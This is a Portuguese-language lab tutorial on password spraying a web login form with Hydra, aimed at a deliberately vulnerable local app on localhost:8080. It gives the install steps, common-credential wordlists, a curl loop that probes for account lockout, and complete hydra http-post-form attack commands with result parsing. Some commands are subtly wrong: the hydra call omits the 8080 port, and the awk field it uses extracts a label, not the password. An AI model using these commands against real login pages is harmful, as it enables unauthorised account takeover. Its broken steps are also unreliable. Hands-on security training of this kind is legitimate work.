Spray de Senhas com Hydra: Guia Prático

Introdução

Neste laboratório, você aprenderá como conduzir ataques de password spray usando o Hydra, uma ferramenta de cibersegurança versátil para testes de brute-force. Você explorará o processo de configuração do Hydra, criação de listas de credenciais e execução de ataques direcionados contra formulários de autenticação web.

O laboratório oferece experiência prática na configuração de parâmetros de ataque, análise de resultados e identificação de credenciais fracas. Através de exercícios práticos, você obterá insights sobre vulnerabilidades de autenticação comuns e estratégias defensivas.

Instalar o Hydra

Nesta etapa, você instalará o Hydra, uma ferramenta poderosa e flexível de password-cracking que profissionais de segurança usam para testar a segurança do sistema. O Hydra pode realizar ataques de brute-force contra muitos serviços de rede diferentes, como websites (HTTP), transferências de arquivos (FTP) e secure shells (SSH). Compreender como essas ferramentas funcionam ajuda você a proteger melhor os sistemas contra ataques.

Primeiro, precisamos atualizar a lista de pacotes do seu sistema. Isso garante que você instalará a versão mais recente disponível do Hydra:
```
sudo apt update
```
O comando sudo concede a você privilégios de administrador, enquanto apt update atualiza sua lista de pacotes de software disponíveis.
Agora, instale o Hydra com este comando simples:
```
sudo apt install hydra -y
```
A flag -y responde automaticamente "sim" a quaisquer prompts durante a instalação, tornando o processo mais suave.
Após a instalação, vamos verificar se o Hydra está funcionando corretamente, verificando sua versão:
```
hydra -v
```
Você deve ver uma saída semelhante a:
```
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
```
Esta verificação de versão confirma que o Hydra está devidamente instalado e pronto para uso.
Para recursos avançados e melhor desempenho com protocolos específicos, instale estas dependências opcionais:
```
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y
```
Essas bibliotecas permitem que o Hydra trabalhe com serviços adicionais, como bancos de dados (MySQL, PostgreSQL) e sistemas de controle de versão (Subversion).

Preparar Listas de Usuários e Senhas

Nesta etapa, você criará os arquivos de texto essenciais que o Hydra precisa para realizar um ataque de password spraying. Esses arquivos contêm possíveis nomes de usuário e senhas que o Hydra testará sistematicamente contra o formulário web alvo. O password spraying funciona tentando algumas senhas comuns contra muitas contas de usuário, o que ajuda a evitar bloqueios de contas que ocorrem ao tentar muitas senhas contra uma única conta.

Primeiro, navegue até o diretório do seu projeto onde armazenaremos nossos arquivos. Isso mantém tudo organizado em um só lugar:
```
cd ~/project
```
Agora, criaremos um arquivo contendo nomes de usuário comuns. Estes são nomes de conta típicos que podem existir em um sistema. Usaremos o editor de texto nano para criar e editar o arquivo:
```
nano users.txt
```
Adicione os seguintes nomes de usuário comuns, um por linha:
```
admin
administrator
user
test
guest
root
```
Em seguida, criaremos um arquivo de lista de senhas. Estas são senhas fracas que os usuários podem definir, tornando-as boas candidatas para testes. Novamente usando nano:
```
nano passwords.txt
```
Adicione estas senhas comumente usadas, cada uma em sua própria linha:
```
password
123456
admin
letmein
welcome
qwerty
```
Após criar ambos os arquivos, vamos verificar se eles existem em nosso diretório. O comando ls -l mostra informações detalhadas do arquivo, incluindo quando foram criados e seus tamanhos:
```
ls -l
```
Você deve ver users.txt e passwords.txt listados na saída.
Finalmente, vamos verificar o conteúdo real de cada arquivo para garantir que foram criados corretamente. O comando cat exibe o conteúdo do arquivo diretamente no terminal:
```
cat users.txt
cat passwords.txt
```

Alvo em um Formulário Web

Nesta etapa, você identificará e analisará um formulário web alvo para password spraying. Usaremos uma aplicação web deliberadamente vulnerável rodando em http://localhost:8080 para este exercício. O password spraying funciona tentando algumas senhas comuns contra muitas contas de usuário, então entender a estrutura do formulário de login é crucial antes de lançar o ataque.

Primeiro, verifique se a aplicação web alvo está rodando:
```
curl -I http://localhost:8080/login
```
A flag -I diz ao curl para buscar apenas os cabeçalhos HTTP. Você deve ver um status 200 OK confirmando que a página de login está acessível. Se você receber um erro de conexão, certifique-se de que o servidor web esteja rodando antes de prosseguir.
Examine a estrutura do formulário de login visualizando o código-fonte da página:
```
curl http://localhost:8080/login | grep -A5 -B5 "form"
```
Este comando busca o conteúdo HTML e mostra 5 linhas antes e depois de quaisquer tags <form>. Procure pelo atributo action do formulário (onde os dados são enviados) e pelos nomes dos campos de entrada - estes são geralmente chamados username e password, mas podem variar.
Crie um arquivo de solicitação de teste para documentar os parâmetros do formulário:
```
nano form_test.txt
```
Adicione este conteúdo para registrar os detalhes-chave que o Hydra precisará:
```
Target URL: http://localhost:8080/login
Method: POST
Username field: username
Password field: password
Failure indicator: "Invalid credentials"
```
O indicador de falha ajuda o Hydra a reconhecer quando as tentativas de login falham. Usaremos este arquivo mais tarde para configurar nosso ataque.
Teste o formulário manualmente com um único par de credenciais:
```
curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v
```
O -X POST especifica o método HTTP, enquanto -d envia os dados do formulário. A flag -v mostra a saída detalhada para que você possa verificar a resposta "Invalid credentials". Isso confirma que o formulário funciona como esperado com logins falhos.
Verifique as políticas de bloqueio de conta enviando 5 solicitações rápidas:
```
for i in {1..5}; do
  curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
done
```
Este loop envia 5 tentativas falhas rápidas. Observe se o código de status HTTP muda de 200 (sucesso) para 403 (proibido), o que indicaria proteções de bloqueio. Aplicações do mundo real geralmente têm essas salvaguardas, mas nosso ambiente de teste não tem.

Executar um Password Spray

Nesta etapa, você executará um ataque de password spray contra o formulário web alvo usando o Hydra com as listas de usuários e senhas que você preparou anteriormente. Password spraying é uma técnica onde você tenta um pequeno número de senhas comuns contra muitas contas de usuário, o que ajuda a evitar bloqueios de contas que podem ocorrer com ataques de força bruta tradicionais.

Primeiro, navegue até o diretório do seu projeto onde suas listas de usuários e senhas estão armazenadas:
```
cd ~/project
```
Agora, executaremos o Hydra com parâmetros cuidadosamente selecionados. Este comando diz ao Hydra para testar cada senha em sua lista contra cada nome de usuário, usando a página de login do formulário web como alvo:
```
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV
```
Vamos detalhar o que cada parâmetro faz:
- -L users.txt: Aponta para sua lista de nomes de usuário (um por linha)
- -P passwords.txt: Aponta para sua lista de senhas para testar
- http-post-form: Especifica que estamos atacando um formulário web usando o método POST
- /login:...: Define a estrutura do formulário - a parte após os dois pontos diz ao Hydra como reconhecer tentativas falhas
- -t 4: Executa 4 conexões paralelas para acelerar o ataque
- -vV: Fornece uma saída detalhada para que você possa ver o progresso
Enquanto o Hydra estiver rodando, observe a saída cuidadosamente. Quando o Hydra encontrar credenciais válidas, ele as exibirá claramente assim:
```
[80][http-post-form] host: localhost   login: admin   password: admin
```

Para salvar seus resultados para documentação ou análise posterior, execute o Hydra com o parâmetro -o:

hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt

Após a conclusão do ataque, você pode visualizar os resultados salvos com:
```
cat results.txt
```
Este arquivo conterá todas as combinações de login bem-sucedidas encontradas durante o ataque.

Analisar Resultados

Nesta etapa, você analisará os resultados do seu ataque de password spray para identificar credenciais comprometidas e entender as implicações de segurança. Password spraying é uma técnica onde os atacantes tentam algumas senhas comuns contra muitas contas, em vez de muitas senhas contra algumas contas.

Primeiro, examine o arquivo de resultados brutos criado pelo Hydra. Este arquivo contém todas as tentativas que o Hydra fez durante o ataque:
```
cat ~/project/results.txt
```
Procure por linhas contendo "[80][http-post-form]", que indicam logins bem-sucedidos. O número 80 se refere à porta HTTP, e http-post-form mostra que foi uma submissão de formulário web.
Para focar apenas nas tentativas bem-sucedidas, extraia apenas as credenciais comprometidas para um novo arquivo. O comando grep filtra as linhas contendo o padrão de sucesso:
```
grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
```
Conte o número de contas comprometidas para entender a escala da vulnerabilidade. O comando wc (contagem de palavras) com a flag -l conta as linhas:
```
wc -l ~/project/compromised_creds.txt
```
Analise os padrões de senha gerando uma lista de frequência de senhas. Isso ajuda a identificar senhas fracas que foram comumente usadas:
```
awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr
```
O comando extrai o 6º campo (senha), os classifica, conta as duplicatas e os classifica por frequência.

Crie um relatório de segurança resumindo as principais descobertas. Este formato estruturado ajuda a documentar os resultados de forma clara:

echo "Password Spray Attack Results" > ~/project/security_report.txt
echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt

Visualize o relatório de segurança final para ver os resultados compilados:
```
cat ~/project/security_report.txt
```

Resumo

Neste laboratório, você aprendeu como conduzir um ataque de password spray usando o Hydra em um sistema Linux. O processo incluiu a instalação da ferramenta, a preparação de listas de credenciais e a configuração do ataque contra um formulário web.

Você também explorou a funcionalidade básica do Hydra para tentativas de força bruta em serviços de rede. O laboratório enfatizou as técnicas de configuração adequadas, como a criação de arquivos de entrada estruturados e a compreensão dos parâmetros essenciais de comando.

Spray de Senhas no Hydra